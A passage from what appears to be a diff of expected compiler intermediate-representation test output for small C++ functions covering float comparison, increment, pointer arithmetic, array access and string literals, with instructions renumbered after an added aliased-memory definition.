-# 137| mu0_21(bool) = Store : r0_20, r0_19 -# 138| r0_22(glval) = VariableAddress[x] : -# 138| r0_23(double) = Load : r0_22, mu0_1 -# 138| r0_24(glval) = VariableAddress[y] : -# 138| r0_25(double) = Load : r0_24, mu0_1 -# 138| r0_26(bool) = CompareLT : r0_23, r0_25 -# 138| r0_27(glval) = VariableAddress[b] : -# 138| mu0_28(bool) = Store : r0_27, r0_26 -# 139| r0_29(glval) = VariableAddress[x] : -# 139| r0_30(double) = Load : r0_29, mu0_1 -# 139| r0_31(glval) = VariableAddress[y] : -# 139| r0_32(double) = Load : r0_31, mu0_1 -# 139| r0_33(bool) = CompareGT : r0_30, r0_32 -# 139| r0_34(glval) = VariableAddress[b] : -# 139| mu0_35(bool) = Store : r0_34, r0_33 -# 140| r0_36(glval) = VariableAddress[x] : -# 140| r0_37(double) = Load : r0_36, mu0_1 -# 140| r0_38(glval) = VariableAddress[y] : -# 140| r0_39(double) = Load : r0_38, mu0_1 -# 140| r0_40(bool) = CompareLE : r0_37, r0_39 -# 140| r0_41(glval) = VariableAddress[b] : -# 140| mu0_42(bool) = Store : r0_41, r0_40 -# 141| r0_43(glval) = VariableAddress[x] : -# 141| r0_44(double) = Load : r0_43, mu0_1 -# 141| r0_45(glval) = VariableAddress[y] : -# 141| r0_46(double) = Load : r0_45, mu0_1 -# 141| r0_47(bool) = CompareGE : r0_44, r0_46 -# 141| r0_48(glval) = VariableAddress[b] : -# 141| mu0_49(bool) = Store : r0_48, r0_47 -# 142| v0_50(void) = NoOp : -# 133| v0_51(void) = ReturnVoid : -# 133| v0_52(void) = UnmodeledUse : mu* -# 133| v0_53(void) = ExitFunction : +# 133| mu0_1(unknown) = AliasedDefinition : +# 133| mu0_2(unknown) = UnmodeledDefinition : +# 133| r0_3(glval) = VariableAddress[x] : +# 133| mu0_4(double) = InitializeParameter[x] : r0_3 +# 133| r0_5(glval) = VariableAddress[y] : +# 133| mu0_6(double) = InitializeParameter[y] : r0_5 +# 134| r0_7(glval) = VariableAddress[b] : +# 134| mu0_8(bool) = Uninitialized[b] : r0_7 +# 136| r0_9(glval) = VariableAddress[x] : +# 136| r0_10(double) = Load : r0_9, mu0_2 +# 136| r0_11(glval) = VariableAddress[y] : +# 136| r0_12(double) = Load : r0_11, mu0_2 +# 136| r0_13(bool) = CompareEQ : r0_10, r0_12 +# 136| r0_14(glval) = VariableAddress[b] : +# 136| mu0_15(bool) = Store : r0_14, r0_13 +# 137| r0_16(glval) = VariableAddress[x] : +# 137| r0_17(double) = Load : r0_16, mu0_2 +# 137| r0_18(glval) = VariableAddress[y] : +# 137| r0_19(double) = Load : r0_18, mu0_2 +# 137| r0_20(bool) = CompareNE : r0_17, r0_19 +# 137| r0_21(glval) = VariableAddress[b] : +# 137| mu0_22(bool) = Store : r0_21, r0_20 +# 138| r0_23(glval) = VariableAddress[x] : +# 138| r0_24(double) = Load : r0_23, mu0_2 +# 138| r0_25(glval) = VariableAddress[y] : +# 138| r0_26(double) = Load : r0_25, mu0_2 +# 138| r0_27(bool) = CompareLT : r0_24, r0_26 +# 138| r0_28(glval) = VariableAddress[b] : +# 138| mu0_29(bool) = Store : r0_28, r0_27 +# 139| r0_30(glval) = VariableAddress[x] : +# 139| r0_31(double) = Load : r0_30, mu0_2 +# 139| r0_32(glval) = VariableAddress[y] : +# 139| r0_33(double) = Load : r0_32, mu0_2 +# 139| r0_34(bool) = CompareGT : r0_31, r0_33 +# 139| r0_35(glval) = VariableAddress[b] : +# 139| mu0_36(bool) = Store : r0_35, r0_34 +# 140| r0_37(glval) = VariableAddress[x] : +# 140| r0_38(double) = Load : r0_37, mu0_2 +# 140| r0_39(glval) = VariableAddress[y] : +# 140| r0_40(double) = Load : r0_39, mu0_2 +# 140| r0_41(bool) = CompareLE : r0_38, r0_40 +# 140| r0_42(glval) = VariableAddress[b] : +# 140| mu0_43(bool) = Store : r0_42, r0_41 +# 141| r0_44(glval) = VariableAddress[x] : +# 141| r0_45(double) = Load : r0_44, mu0_2 +# 141| r0_46(glval) = VariableAddress[y] : +# 141| r0_47(double) = Load : r0_46, mu0_2 +# 141| r0_48(bool) = CompareGE : r0_45, r0_47 +# 141| r0_49(glval) = VariableAddress[b] : +# 141| mu0_50(bool) = Store : r0_49, r0_48 +# 142| v0_51(void) = NoOp : +# 133| v0_52(void) = ReturnVoid : +# 133| v0_53(void) = UnmodeledUse : mu* +# 133| v0_54(void) = ExitFunction : # 144| FloatCrement(float) -> void # 144| Block 0 # 144| v0_0(void) = EnterFunction : -# 144| mu0_1(unknown) = UnmodeledDefinition : -# 144| r0_2(glval) = VariableAddress[x] : -# 144| mu0_3(float) = InitializeParameter[x] : r0_2 -# 145| r0_4(glval) = VariableAddress[y] : -# 145| mu0_5(float) = Uninitialized : r0_4 -# 147| r0_6(glval) = VariableAddress[x] : -# 147| r0_7(float) = Load : r0_6, mu0_1 -# 147| r0_8(float) = Constant[1.0] : -# 147| r0_9(float) = Add : r0_7, r0_8 -# 147| mu0_10(float) = Store : r0_6, r0_9 -# 147| r0_11(glval) = VariableAddress[y] : -# 147| mu0_12(float) = Store : r0_11, r0_9 -# 148| r0_13(glval) = VariableAddress[x] : -# 148| r0_14(float) = Load : r0_13, mu0_1 -# 148| r0_15(float) = Constant[1.0] : -# 148| r0_16(float) = Sub : r0_14, r0_15 -# 148| mu0_17(float) = Store : r0_13, r0_16 -# 148| r0_18(glval) = VariableAddress[y] : -# 148| mu0_19(float) = Store : r0_18, r0_16 -# 149| r0_20(glval) = VariableAddress[x] : -# 149| r0_21(float) = Load : r0_20, mu0_1 -# 149| r0_22(float) = Constant[1.0] : -# 149| r0_23(float) = Add : r0_21, r0_22 -# 149| mu0_24(float) = Store : r0_20, r0_23 -# 149| r0_25(glval) = VariableAddress[y] : -# 149| mu0_26(float) = Store : r0_25, r0_21 -# 150| r0_27(glval) = VariableAddress[x] : -# 150| r0_28(float) = Load : r0_27, mu0_1 -# 150| r0_29(float) = Constant[1.0] : -# 150| r0_30(float) = Sub : r0_28, r0_29 -# 150| mu0_31(float) = Store : r0_27, r0_30 -# 150| r0_32(glval) = VariableAddress[y] : -# 150| mu0_33(float) = Store : r0_32, r0_28 -# 151| v0_34(void) = NoOp : -# 144| v0_35(void) = ReturnVoid : -# 144| v0_36(void) = UnmodeledUse : mu* -# 144| v0_37(void) = ExitFunction : +# 144| mu0_1(unknown) = AliasedDefinition : +# 144| mu0_2(unknown) = UnmodeledDefinition : +# 144| r0_3(glval) = VariableAddress[x] : +# 144| mu0_4(float) = InitializeParameter[x] : r0_3 +# 145| r0_5(glval) = VariableAddress[y] : +# 145| mu0_6(float) = Uninitialized[y] : r0_5 +# 147| r0_7(glval) = VariableAddress[x] : +# 147| r0_8(float) = Load : r0_7, mu0_2 +# 147| r0_9(float) = Constant[1.0] : +# 147| r0_10(float) = Add : r0_8, r0_9 +# 147| mu0_11(float) = Store : r0_7, r0_10 +# 147| r0_12(glval) = VariableAddress[y] : +# 147| mu0_13(float) = Store : r0_12, r0_10 +# 148| r0_14(glval) = VariableAddress[x] : +# 148| r0_15(float) = Load : r0_14, mu0_2 +# 148| r0_16(float) = Constant[1.0] : +# 148| r0_17(float) = Sub : r0_15, r0_16 +# 148| mu0_18(float) = Store : r0_14, r0_17 +# 148| r0_19(glval) = VariableAddress[y] : +# 148| mu0_20(float) = Store : r0_19, r0_17 +# 149| r0_21(glval) = VariableAddress[x] : +# 149| r0_22(float) = Load : r0_21, mu0_2 +# 149| r0_23(float) = Constant[1.0] : +# 149| r0_24(float) = Add : r0_22, r0_23 +# 149| mu0_25(float) = Store : r0_21, r0_24 +# 149| r0_26(glval) = VariableAddress[y] : +# 149| mu0_27(float) = Store : r0_26, r0_22 +# 150| r0_28(glval) = VariableAddress[x] : +# 150| r0_29(float) = Load : r0_28, mu0_2 +# 150| r0_30(float) = Constant[1.0] : +# 150| r0_31(float) = Sub : r0_29, r0_30 +# 150| mu0_32(float) = Store : r0_28, r0_31 +# 150| r0_33(glval) = VariableAddress[y] : +# 150| mu0_34(float) = Store : r0_33, r0_29 +# 151| v0_35(void) = NoOp : +# 144| v0_36(void) = ReturnVoid : +# 144| v0_37(void) = UnmodeledUse : mu* +# 144| v0_38(void) = ExitFunction : # 153| PointerOps(int *, int) -> void # 153| Block 0 # 153| v0_0(void) = EnterFunction : -# 153| mu0_1(unknown) = UnmodeledDefinition : -# 153| r0_2(glval) = VariableAddress[p] : -# 153| mu0_3(int *) = InitializeParameter[p] : r0_2 -# 153| r0_4(glval) = VariableAddress[i] : -# 153| mu0_5(int) = InitializeParameter[i] : r0_4 -# 154| r0_6(glval) = VariableAddress[q] : -# 154| mu0_7(int *) = Uninitialized : r0_6 -# 155| r0_8(glval) = VariableAddress[b] : -# 155| mu0_9(bool) = Uninitialized : r0_8 -# 157| r0_10(glval) = VariableAddress[p] : -# 157| r0_11(int *) = Load : r0_10, mu0_1 -# 157| r0_12(glval) = VariableAddress[i] : -# 157| r0_13(int) = Load : r0_12, mu0_1 -# 157| r0_14(int *) = PointerAdd[4] : r0_11, r0_13 -# 157| r0_15(glval) = VariableAddress[q] : -# 157| mu0_16(int *) = Store : r0_15, r0_14 -# 158| r0_17(glval) = VariableAddress[i] : -# 158| r0_18(int) = Load : r0_17, mu0_1 -# 158| r0_19(glval) = VariableAddress[p] : -# 158| r0_20(int *) = Load : r0_19, mu0_1 -# 158| r0_21(int *) = PointerAdd[4] : r0_20, r0_18 -# 158| r0_22(glval) = VariableAddress[q] : -# 158| mu0_23(int *) = Store : r0_22, r0_21 -# 159| r0_24(glval) = VariableAddress[p] : -# 159| r0_25(int *) = Load : r0_24, mu0_1 -# 159| r0_26(glval) = VariableAddress[i] : -# 159| r0_27(int) = Load : r0_26, mu0_1 -# 159| r0_28(int *) = PointerSub[4] : r0_25, r0_27 -# 159| r0_29(glval) = VariableAddress[q] : -# 159| mu0_30(int *) = Store : r0_29, r0_28 -# 160| r0_31(glval) = VariableAddress[p] : -# 160| r0_32(int *) = Load : r0_31, mu0_1 -# 160| r0_33(glval) = VariableAddress[q] : -# 160| r0_34(int *) = Load : r0_33, mu0_1 -# 160| r0_35(long) = PointerDiff[4] : r0_32, r0_34 -# 160| r0_36(int) = Convert : r0_35 -# 160| r0_37(glval) = VariableAddress[i] : -# 160| mu0_38(int) = Store : r0_37, r0_36 -# 162| r0_39(glval) = VariableAddress[p] : -# 162| r0_40(int *) = Load : r0_39, mu0_1 -# 162| r0_41(glval) = VariableAddress[q] : -# 162| mu0_42(int *) = Store : r0_41, r0_40 -# 164| r0_43(glval) = VariableAddress[i] : -# 164| r0_44(int) = Load : r0_43, mu0_1 -# 164| r0_45(glval) = VariableAddress[q] : -# 164| r0_46(int *) = Load : r0_45, mu0_1 -# 164| r0_47(int *) = PointerAdd[4] : r0_46, r0_44 -# 164| mu0_48(int *) = Store : r0_45, r0_47 -# 165| r0_49(glval) = VariableAddress[i] : -# 165| r0_50(int) = Load : r0_49, mu0_1 -# 165| r0_51(glval) = VariableAddress[q] : -# 165| r0_52(int *) = Load : r0_51, mu0_1 -# 165| r0_53(int *) = PointerSub[4] : r0_52, r0_50 -# 165| mu0_54(int *) = Store : r0_51, r0_53 -# 167| r0_55(glval) = VariableAddress[p] : -# 167| r0_56(int *) = Load : r0_55, mu0_1 -# 167| r0_57(int *) = Constant[0] : -# 167| r0_58(bool) = CompareNE : r0_56, r0_57 -# 167| r0_59(glval) = VariableAddress[b] : -# 167| mu0_60(bool) = Store : r0_59, r0_58 -# 168| r0_61(glval) = VariableAddress[p] : -# 168| r0_62(int *) = Load : r0_61, mu0_1 -# 168| r0_63(int *) = Constant[0] : -# 168| r0_64(bool) = CompareNE : r0_62, r0_63 -# 168| r0_65(bool) = LogicalNot : r0_64 -# 168| r0_66(glval) = VariableAddress[b] : -# 168| mu0_67(bool) = Store : r0_66, r0_65 -# 169| v0_68(void) = NoOp : -# 153| v0_69(void) = ReturnVoid : -# 153| v0_70(void) = UnmodeledUse : mu* -# 153| v0_71(void) = ExitFunction : +# 153| mu0_1(unknown) = AliasedDefinition : +# 153| mu0_2(unknown) = UnmodeledDefinition : +# 153| r0_3(glval) = VariableAddress[p] : +# 153| mu0_4(int *) = InitializeParameter[p] : r0_3 +# 153| r0_5(glval) = VariableAddress[i] : +# 153| mu0_6(int) = InitializeParameter[i] : r0_5 +# 154| r0_7(glval) = VariableAddress[q] : +# 154| mu0_8(int *) = Uninitialized[q] : r0_7 +# 155| r0_9(glval) = VariableAddress[b] : +# 155| mu0_10(bool) = Uninitialized[b] : r0_9 +# 157| r0_11(glval) = VariableAddress[p] : +# 157| r0_12(int *) = Load : r0_11, mu0_2 +# 157| r0_13(glval) = VariableAddress[i] : +# 157| r0_14(int) = Load : r0_13, mu0_2 +# 157| r0_15(int *) = PointerAdd[4] : r0_12, r0_14 +# 157| r0_16(glval) = VariableAddress[q] : +# 157| mu0_17(int *) = Store : r0_16, r0_15 +# 158| r0_18(glval) = VariableAddress[i] : +# 158| r0_19(int) = Load : r0_18, mu0_2 +# 158| r0_20(glval) = VariableAddress[p] : +# 158| r0_21(int *) = Load : r0_20, mu0_2 +# 158| r0_22(int *) = PointerAdd[4] : r0_21, r0_19 +# 158| r0_23(glval) = VariableAddress[q] : +# 158| mu0_24(int *) = Store : r0_23, r0_22 +# 159| r0_25(glval) = VariableAddress[p] : +# 159| r0_26(int *) = Load : r0_25, mu0_2 +# 159| r0_27(glval) = VariableAddress[i] : +# 159| r0_28(int) = Load : r0_27, mu0_2 +# 159| r0_29(int *) = PointerSub[4] : r0_26, r0_28 +# 159| r0_30(glval) = VariableAddress[q] : +# 159| mu0_31(int *) = Store : r0_30, r0_29 +# 160| r0_32(glval) = VariableAddress[p] : +# 160| r0_33(int *) = Load : r0_32, mu0_2 +# 160| r0_34(glval) = VariableAddress[q] : +# 160| r0_35(int *) = Load : r0_34, mu0_2 +# 160| r0_36(long) = PointerDiff[4] : r0_33, r0_35 +# 160| r0_37(int) = Convert : r0_36 +# 160| r0_38(glval) = VariableAddress[i] : +# 160| mu0_39(int) = Store : r0_38, r0_37 +# 162| r0_40(glval) = VariableAddress[p] : +# 162| r0_41(int *) = Load : r0_40, mu0_2 +# 162| r0_42(glval) = VariableAddress[q] : +# 162| mu0_43(int *) = Store : r0_42, r0_41 +# 164| r0_44(glval) = VariableAddress[i] : +# 164| r0_45(int) = Load : r0_44, mu0_2 +# 164| r0_46(glval) = VariableAddress[q] : +# 164| r0_47(int *) = Load : r0_46, mu0_2 +# 164| r0_48(int *) = PointerAdd[4] : r0_47, r0_45 +# 164| mu0_49(int *) = Store : r0_46, r0_48 +# 165| r0_50(glval) = VariableAddress[i] : +# 165| r0_51(int) = Load : r0_50, mu0_2 +# 165| r0_52(glval) = VariableAddress[q] : +# 165| r0_53(int *) = Load : r0_52, mu0_2 +# 165| r0_54(int *) = PointerSub[4] : r0_53, r0_51 +# 165| mu0_55(int *) = Store : r0_52, r0_54 +# 167| r0_56(glval) = VariableAddress[p] : +# 167| r0_57(int *) = Load : r0_56, mu0_2 +# 167| r0_58(int *) = Constant[0] : +# 167| r0_59(bool) = CompareNE : r0_57, r0_58 +# 167| r0_60(glval) = VariableAddress[b] : +# 167| mu0_61(bool) = Store : r0_60, r0_59 +# 168| r0_62(glval) = VariableAddress[p] : +# 168| r0_63(int *) = Load : r0_62, mu0_2 +# 168| r0_64(int *) = Constant[0] : +# 168| r0_65(bool) = CompareNE : r0_63, r0_64 +# 168| r0_66(bool) = LogicalNot : r0_65 +# 168| r0_67(glval) = VariableAddress[b] : +# 168| mu0_68(bool) = Store : r0_67, r0_66 +# 169| v0_69(void) = NoOp : +# 153| v0_70(void) = ReturnVoid : +# 153| v0_71(void) = UnmodeledUse : mu* +# 153| v0_72(void) = ExitFunction : # 171| ArrayAccess(int *, int) -> void # 171| Block 0 # 171| v0_0(void) = EnterFunction : -# 171| mu0_1(unknown) = UnmodeledDefinition : -# 171| r0_2(glval) = VariableAddress[p] : -# 171| mu0_3(int *) = InitializeParameter[p] : r0_2 -# 171| r0_4(glval) = VariableAddress[i] : -# 171| mu0_5(int) = InitializeParameter[i] : r0_4 -# 172| r0_6(glval) = VariableAddress[x] : -# 172| mu0_7(int) = Uninitialized : r0_6 -# 174| r0_8(glval) = VariableAddress[p] : -# 174| r0_9(int *) = Load : r0_8, mu0_1 -# 174| r0_10(glval) = VariableAddress[i] : -# 174| r0_11(int) = Load : r0_10, mu0_1 -# 174| r0_12(int *) = PointerAdd[4] : r0_9, r0_11 -# 174| r0_13(int) = Load : r0_12, mu0_1 -# 174| r0_14(glval) = VariableAddress[x] : -# 174| mu0_15(int) = Store : r0_14, r0_13 -# 175| r0_16(glval) = VariableAddress[p] : -# 175| r0_17(int *) = Load : r0_16, mu0_1 -# 175| r0_18(glval) = VariableAddress[i] : -# 175| r0_19(int) = Load : r0_18, mu0_1 -# 175| r0_20(int *) = PointerAdd[4] : r0_17, r0_19 -# 175| r0_21(int) = Load : r0_20, mu0_1 -# 175| r0_22(glval) = VariableAddress[x] : -# 175| mu0_23(int) = Store : r0_22, r0_21 -# 177| r0_24(glval) = VariableAddress[x] : -# 177| r0_25(int) = Load : r0_24, mu0_1 -# 177| r0_26(glval) = VariableAddress[p] : -# 177| r0_27(int *) = Load : r0_26, mu0_1 -# 177| r0_28(glval) = VariableAddress[i] : -# 177| r0_29(int) = Load : r0_28, mu0_1 -# 177| r0_30(int *) = PointerAdd[4] : r0_27, r0_29 -# 177| mu0_31(int) = Store : r0_30, r0_25 -# 178| r0_32(glval) = VariableAddress[x] : -# 178| r0_33(int) = Load : r0_32, mu0_1 -# 178| r0_34(glval) = VariableAddress[p] : -# 178| r0_35(int *) = Load : r0_34, mu0_1 -# 178| r0_36(glval) = VariableAddress[i] : -# 178| r0_37(int) = Load : r0_36, mu0_1 -# 178| r0_38(int *) = PointerAdd[4] : r0_35, r0_37 -# 178| mu0_39(int) = Store : r0_38, r0_33 -# 180| r0_40(glval) = VariableAddress[a] : -# 180| mu0_41(int[10]) = Uninitialized : r0_40 -# 181| r0_42(glval) = VariableAddress[a] : -# 181| r0_43(int *) = Convert : r0_42 -# 181| r0_44(glval) = VariableAddress[i] : -# 181| r0_45(int) = Load : r0_44, mu0_1 -# 181| r0_46(int *) = PointerAdd[4] : r0_43, r0_45 -# 181| r0_47(int) = Load : r0_46, mu0_1 -# 181| r0_48(glval) = VariableAddress[x] : -# 181| mu0_49(int) = Store : r0_48, r0_47 -# 182| r0_50(glval) = VariableAddress[a] : -# 182| r0_51(int *) = Convert : r0_50 -# 182| r0_52(glval) = VariableAddress[i] : -# 182| r0_53(int) = Load : r0_52, mu0_1 -# 182| r0_54(int *) = PointerAdd[4] : r0_51, r0_53 -# 182| r0_55(int) = Load : r0_54, mu0_1 -# 182| r0_56(glval) = VariableAddress[x] : -# 182| mu0_57(int) = Store : r0_56, r0_55 -# 183| r0_58(glval) = VariableAddress[x] : -# 183| r0_59(int) = Load : r0_58, mu0_1 -# 183| r0_60(glval) = VariableAddress[a] : -# 183| r0_61(int *) = Convert : r0_60 -# 183| r0_62(glval) = VariableAddress[i] : -# 183| r0_63(int) = Load : r0_62, mu0_1 -# 183| r0_64(int *) = PointerAdd[4] : r0_61, r0_63 -# 183| mu0_65(int) = Store : r0_64, r0_59 -# 184| r0_66(glval) = VariableAddress[x] : -# 184| r0_67(int) = Load : r0_66, mu0_1 -# 184| r0_68(glval) = VariableAddress[a] : -# 184| r0_69(int *) = Convert : r0_68 -# 184| r0_70(glval) = VariableAddress[i] : -# 184| r0_71(int) = Load : r0_70, mu0_1 -# 184| r0_72(int *) = PointerAdd[4] : r0_69, r0_71 -# 184| mu0_73(int) = Store : r0_72, r0_67 -# 185| v0_74(void) = NoOp : -# 171| v0_75(void) = ReturnVoid : -# 171| v0_76(void) = UnmodeledUse : mu* -# 171| v0_77(void) = ExitFunction : +# 171| mu0_1(unknown) = AliasedDefinition : +# 171| mu0_2(unknown) = UnmodeledDefinition : +# 171| r0_3(glval) = VariableAddress[p] : +# 171| mu0_4(int *) = InitializeParameter[p] : r0_3 +# 171| r0_5(glval) = VariableAddress[i] : +# 171| mu0_6(int) = InitializeParameter[i] : r0_5 +# 172| r0_7(glval) = VariableAddress[x] : +# 172| mu0_8(int) = Uninitialized[x] : r0_7 +# 174| r0_9(glval) = VariableAddress[p] : +# 174| r0_10(int *) = Load : r0_9, mu0_2 +# 174| r0_11(glval) = VariableAddress[i] : +# 174| r0_12(int) = Load : r0_11, mu0_2 +# 174| r0_13(int *) = PointerAdd[4] : r0_10, r0_12 +# 174| r0_14(int) = Load : r0_13, mu0_2 +# 174| r0_15(glval) = VariableAddress[x] : +# 174| mu0_16(int) = Store : r0_15, r0_14 +# 175| r0_17(glval) = VariableAddress[p] : +# 175| r0_18(int *) = Load : r0_17, mu0_2 +# 175| r0_19(glval) = VariableAddress[i] : +# 175| r0_20(int) = Load : r0_19, mu0_2 +# 175| r0_21(int *) = PointerAdd[4] : r0_18, r0_20 +# 175| r0_22(int) = Load : r0_21, mu0_2 +# 175| r0_23(glval) = VariableAddress[x] : +# 175| mu0_24(int) = Store : r0_23, r0_22 +# 177| r0_25(glval) = VariableAddress[x] : +# 177| r0_26(int) = Load : r0_25, mu0_2 +# 177| r0_27(glval) = VariableAddress[p] : +# 177| r0_28(int *) = Load : r0_27, mu0_2 +# 177| r0_29(glval) = VariableAddress[i] : +# 177| r0_30(int) = Load : r0_29, mu0_2 +# 177| r0_31(int *) = PointerAdd[4] : r0_28, r0_30 +# 177| mu0_32(int) = Store : r0_31, r0_26 +# 178| r0_33(glval) = VariableAddress[x] : +# 178| r0_34(int) = Load : r0_33, mu0_2 +# 178| r0_35(glval) = VariableAddress[p] : +# 178| r0_36(int *) = Load : r0_35, mu0_2 +# 178| r0_37(glval) = VariableAddress[i] : +# 178| r0_38(int) = Load : r0_37, mu0_2 +# 178| r0_39(int *) = PointerAdd[4] : r0_36, r0_38 +# 178| mu0_40(int) = Store : r0_39, r0_34 +# 180| r0_41(glval) = VariableAddress[a] : +# 180| mu0_42(int[10]) = Uninitialized[a] : r0_41 +# 181| r0_43(glval) = VariableAddress[a] : +# 181| r0_44(int *) = Convert : r0_43 +# 181| r0_45(glval) = VariableAddress[i] : +# 181| r0_46(int) = Load : r0_45, mu0_2 +# 181| r0_47(int *) = PointerAdd[4] : r0_44, r0_46 +# 181| r0_48(int) = Load : r0_47, mu0_2 +# 181| r0_49(glval) = VariableAddress[x] : +# 181| mu0_50(int) = Store : r0_49, r0_48 +# 182| r0_51(glval) = VariableAddress[a] : +# 182| r0_52(int *) = Convert : r0_51 +# 182| r0_53(glval) = VariableAddress[i] : +# 182| r0_54(int) = Load : r0_53, mu0_2 +# 182| r0_55(int *) = PointerAdd[4] : r0_52, r0_54 +# 182| r0_56(int) = Load : r0_55, mu0_2 +# 182| r0_57(glval) = VariableAddress[x] : +# 182| mu0_58(int) = Store : r0_57, r0_56 +# 183| r0_59(glval) = VariableAddress[x] : +# 183| r0_60(int) = Load : r0_59, mu0_2 +# 183| r0_61(glval) = VariableAddress[a] : +# 183| r0_62(int *) = Convert : r0_61 +# 183| r0_63(glval) = VariableAddress[i] : +# 183| r0_64(int) = Load : r0_63, mu0_2 +# 183| r0_65(int *) = PointerAdd[4] : r0_62, r0_64 +# 183| mu0_66(int) = Store : r0_65, r0_60 +# 184| r0_67(glval) = VariableAddress[x] : +# 184| r0_68(int) = Load : r0_67, mu0_2 +# 184| r0_69(glval) = VariableAddress[a] : +# 184| r0_70(int *) = Convert : r0_69 +# 184| r0_71(glval) = VariableAddress[i] : +# 184| r0_72(int) = Load : r0_71, mu0_2 +# 184| r0_73(int *) = PointerAdd[4] : r0_70, r0_72 +# 184| mu0_74(int) = Store : r0_73, r0_68 +# 185| v0_75(void) = NoOp : +# 171| v0_76(void) = ReturnVoid : +# 171| v0_77(void) = UnmodeledUse : mu* +# 171| v0_78(void) = ExitFunction : # 187| StringLiteral(int) -> void # 187| Block 0 # 187| v0_0(void) = EnterFunction : -# 187| mu0_1(unknown) = UnmodeledDefinition : -# 187| r0_2(glval) = VariableAddress[i] : -# 187| mu0_3(int) = InitializeParameter[i] : r0_2 -# 188| r0_4(glval) = VariableAddress[c] : -# 188| r0_5(glval) = StringConstant["Foo"] : -# 188| r0_6(char *) = Convert : r0_5 -# 188| r0_7(glval) = VariableAddress[i] : -# 188| r0_8(int) = Load : r0_7, mu0_1 -# 188| r0_9(char *) = PointerAdd[1] : r0_6, r0_8 -# 188| r0_10(char) = Load : r0_9, mu0_1 -# 188| mu0_11(char) = Store : r0_4, r0_10 -# 189| r0_12(glval) = VariableAddress[pwc] : -# 189| r0_13(glval) = StringConstant[L"Bar"] : -# 189| r0_14(wchar_t *) = Convert : r0_13 +# 187| mu0_1(unknown) = AliasedDefinition : +# 187| mu0_2(unknown) = UnmodeledDefinition : +# 187| r0_3(glval) = VariableAddress[i] : +# 187| mu0_4(int) = InitializeParameter[i] : r0_3 +# 188| r0_5(glval) = VariableAddress[c] : +# 188| r0_6(glval) = StringConstant["Foo"] : +# 188| r0_7(char *) = Convert : r0_6 +# 188| r0_8(glval) = VariableAddress[i] : +# 188| r0_9(int) = Load : r0_8, mu0_2 +# 188| r0_10(char *) = PointerAdd[1] : r0_7, r0_9 +# 188| r0_11(char) = Load : r0_10, mu0_2 +# 188| mu0_12(char) = Store : r0_5, r0_11 +# 189| r0_13(glval) = VariableAddress[pwc] : +# 189| r0_14(glval) = StringConstant[L"Bar"] : # 189| r0_15(wchar_t *) = Convert : r0_14 -# 189| mu0_16(wchar_t *) = Store : r0_12, r0_15 -# 190| r0_17(glval) = VariableAddress[wc] : -# 190| r0_18(glval) = VariableAddress[pwc] : -# 190| r0_19(wchar_t *) = Load : r0_18, mu0_1 -# 190| r0_20(glval) = VariableAddress[i] : -# 190| r0_21(int) = Load : r0_20, mu0_1 -# 190| r0_22(wchar_t *) = PointerAdd[4] : r0_19, r0_21 -# 190| r0_23(wchar_t) = Load : r0_22, mu0_1 -# 190| mu0_24(wchar_t) = Store : r0_17, r0_23 -# 191| v0_25(void) = NoOp : -# 187| v0_26(void) = ReturnVoid : -# 187| v0_27(void) = UnmodeledUse : mu* -# 187| v0_28(void) = ExitFunction : +# 189| r0_16(wchar_t *) = Convert : r0_15 +# 189| mu0_17(wchar_t *) = Store : r0_13, r0_16 +# 190| r0_18(glval) = VariableAddress[wc] : +# 190| r0_19(glval) = VariableAddress[pwc] : +# 190| r0_20(wchar_t *) = Load : r0_19, mu0_2 +# 190| r0_21(glval) = VariableAddress[i] : +# 190| r0_22(int) = Load : r0_21, mu0_2 +# 190| r0_23(wchar_t *) = PointerAdd[4] : r0_20, r0_22 +# 190| r0_24(wchar_t) = Load : r0_23, mu0_2 +# 190| mu0_25(wchar_t) = Store : r0_18, r0_24 +# 191| v0_26(void) = NoOp : +# 187| v0_27(void) = ReturnVoid : +# 187| v0_28(void) = UnmodeledUse : mu* +# 187| v0_29(void) = ExitFunction : # 193| PointerCompare(int *, int *) -> void # 193| Block 0 # 193| v0_0(void) = EnterFunction : -# 193| mu0_1(unknown) = UnmodeledDefinition : -# 193| r0_2(glval) = VariableAddress[p] : -# 193| mu0_3(int *) = InitializeParameter[p] : r0_2 -# 193| r0_4(glval) = VariableAddress[q] : -# 193| mu0_5(int *) = InitializeParameter[q] : r0_4 -# 194| r0_6(glval) = VariableAddress[b] : -# 194| mu0_7(bool) = Uninitialized : r0_6 -# 196| r0_8(glval) = VariableAddress[p] : -# 196| r0_9(int *) = Load : r0_8, mu0_1 -# 196| r0_10(glval) = VariableAddress[q] : -# 196| r0_11(int *) = Load : r0_10, mu0_1 -# 196| r0_12(bool) = CompareEQ : r0_9, r0_11 -# 196| r0_13(glval) = VariableAddress[b] : -# 196| mu0_14(bool) = Store : r0_13, r0_12 -# 197| r0_15(glval) = VariableAddress[p] : -# 197| r0_16(int *) = Load : r0_15, mu0_1 -# 197| r0_17(glval) = VariableAddress[q] : -# 197| r0_18(int *) = Load : r0_17, mu0_1 -# 197| r0_19(bool) = CompareNE : r0_16, r0_18 -# 197| r0_20(glval) = VariableAddress[b] : -# 197| mu0_21(bool) = Store : r0_20, r0_19 -# 198| r0_22(glval) = VariableAddress[p] : -# 198| r0_23(int *) = Load : r0_22, mu0_1 -# 198| r0_24(glval) = VariableAddress[q] : -# 198| r0_25(int *) = Load : r0_24, mu0_1 -# 198| r0_26(bool) = CompareLT : r0_23, r0_25 -# 198| r0_27(glval) = VariableAddress[b] : -# 198| mu0_28(bool) = Store : r0_27, r0_26 -# 199| r0_29(glval) = VariableAddress[p] : -# 199| r0_30(int *) = Load : r0_29, mu0_1 -# 199| r0_31(glval) = VariableAddress[q] : -# 199| r0_32(int *) = Load : r0_31, mu0_1 -# 199| r0_33(bool) = CompareGT : r0_30, r0_32 -# 199| r0_34(glval) = VariableAddress[b] : -# 199| mu0_35(bool) = Store : r0_34, r0_33 -# 200| r0_36(glval) = VariableAddress[p] : -# 200| r0_37(int *) = Load : r0_36, mu0_1 -# 200| r0_38(glval) = VariableAddress[q] : -# 200| r0_39(int *) = Load : r0_38, mu0_1 -# 200| r0_40(bool) = CompareLE : r0_37, r0_39 -# 200| r0_41(glval) = VariableAddress[b] : -# 200| mu0_42(bool) = Store : r0_41, r0_40 -# 201| r0_43(glval) = VariableAddress[p] : -# 201| r0_44(int *) = Load : r0_43, mu0_1 -# 201| r0_45(glval) = VariableAddress[q] : -# 201| r0_46(int *) = Load : r0_45, mu0_1 -# 201| r0_47(bool) = CompareGE : r0_44, r0_46 -# 201| r0_48(glval) = VariableAddress[b] : -# 201| mu0_49(bool) = Store : 